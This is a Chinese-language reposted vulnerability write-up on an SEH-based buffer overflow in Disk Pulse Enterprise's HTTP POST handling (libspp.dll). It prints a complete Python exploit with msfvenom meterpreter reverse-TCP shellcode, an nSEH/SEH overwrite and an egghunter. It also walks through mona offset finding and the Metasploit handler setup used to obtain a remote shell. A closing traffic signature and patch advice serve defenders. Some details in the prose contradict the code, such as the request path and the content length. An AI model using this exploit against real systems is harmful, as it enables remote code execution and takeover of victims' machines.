首頁  >  文章  >  運維  >  如何實作Disk Pulse Eneterprise Window應用程式的漏洞分析

如何實作Disk Pulse Eneterprise Window應用程式的漏洞分析

WBOY
WBOY轉載
2023-05-18 15:04:071035瀏覽

一、漏洞簡介

Disk Pulse Eneterprise是一款監視磁碟變化的軟體,它可以透過一個管理埠9120或web管理視窗80對軟體進行連線管理,從而監視磁碟的變更。在Disk Pulse Eneterprise中有一個動態連結庫libspp.dll ,其中有一些負責HTTP操作的函數,問題就出現在這個動態連結庫中,在處理後資料時,由於對於後資料沒有進行嚴格的長度控制,導致在執行取得後資料時向無效記憶體拷貝資料造成緩衝區溢出,觸發SEH異常行為處理,最後控制EIP,執行任意程式碼。

軟體下載連結:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.com/explo-db.com/ /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

#漏洞揭露位址:https://[www.exploit-db.com/exploits/40452](http://www.com/exploits /40452)

二、實驗環境

windows 7 x86:系統環境

IDA pro:靜態分析工具

#免疫調試器:漏洞分析專用調試器

WinDbg的:漏洞調試器

三、漏洞分析

先簡單看一下POC,是一個比較綜合的緩衝區溢位漏洞。該文中討論了SEH結構化異常處理程序和egghunter技術。

SEH概述

熟悉程式設計的人可能對結構化異常處理(SEH)這種用於處理硬體和軟體異常的視窗機制很熟悉。它通常表示為嘗試/除和的try / catch程式碼區塊。

Egghunter概述

簡單來說,它是一種尋址技術,它透過設計標記並跳到另一個標記的位置來執行 shellcode。當shellcode無法存放在緩衝區時,使用egghunter技術是必要的。

首先,我們先分析POC

#!/usr/bin/python
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.46.160',80))

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
buf =  ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29"
buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45"
buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a"
buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3"
buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19"
buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8"
buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20"
buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1"
buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80"
buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66"
buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65"
buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e"
buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f"
buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5"
buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94"
buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10"
buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46"
buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18"
buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97"
buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96"
buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d"
buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2"
buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f"
buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b"
buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae"
buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b"
buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9"
buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c"
buf += "\x3b\x9a\x01\x65"

#pop pop ret 1001A333

nseh = "\xEB\x0B\x90\x90"
seh = "\x33\xA3\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil =  "POST /admin  HTTP/1.1\r\n"
evil += "Host: 192.168.46.160\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 21000\r\n\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1554
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

攻擊者建立了http請求包,可以看出post請求,url是/ login,content-length:17000。發送了12292個“\ x41”字節,然後發送了“w00tw00t”8個字節,之後發送了20個“\ X90” NOP字節,之後發送的buf,再加50個NOP,1614個“\ X42”,接下來就是SEH的異常處理機制(不太懂的同學可以去深入了解一下),接下來是egghunter執行程式碼,大概意思就是去跳到含有雙重“w00t” 的地方執行。剩下就是緩衝區的填滿。

接下來我們使用文DBG開啟有漏洞版本的應用程式。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

發送有效載荷,觸發漏洞。輸入克,返回地址被覆蓋,KB查看堆疊呼叫。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

這裡呼叫了libspp.dll的SCA_HttpParser的GetNextString函數,接下來程式進入SHE異常行為處理,透過覆寫SEH Handler打到程式碼執行。

開啟IDA,分析10092822處,在libspp中SCA_HttpParse類別負責處理HTTP的一些相關操作,其中有一個函數名為ExtractPostData負責處理後數據,在這個函數入口下斷點。這個函數的入口位址為10092510

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

傳送緩衝區全用一個取代的POC,觸發漏洞,如下圖所示:

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

查看傳入情況,後期資料作為第二個參數傳入,注意是完整傳入。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

這裡繼續單步跟踪,到達之前說到的GetNetString函數。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

這個函數會做一件事情,就是將第一個參數,也就是後期資料進行拆分,將每一部分分離出來作為後續處理,單步步過,可以看到第一次進入GetNextString之後,拆分了第一個資料。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

第一次分離出來了用戶名,接下來,再次進入GetNextString開始拆分第二個字串,這個拆分過程會執行一系列的拷貝操作。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

之后看一下ECX的值

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析再来看一下GetNextString函数的伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

四、漏洞利用

首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

!mona pattern_create 20000

运行完在C:\日志\ FTPServer的\ pattern.txt中找到。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

!mona findmsp

查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

偏移量是14292。

接下来,要寻找pop pop ret的地址

使用!mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

设置的shellcode里面的

nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”

利用msf生成通用的shellcode,命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,打开的Metasploit

选择开发模式

输入命令,设置参数

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

五、漏洞利用特征:

请求方式:POST

请求路径:/登录

漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。

下载地址:https://www.diskpulse.com/downloads.html

以上是如何實作Disk Pulse Eneterprise Window應用程式的漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除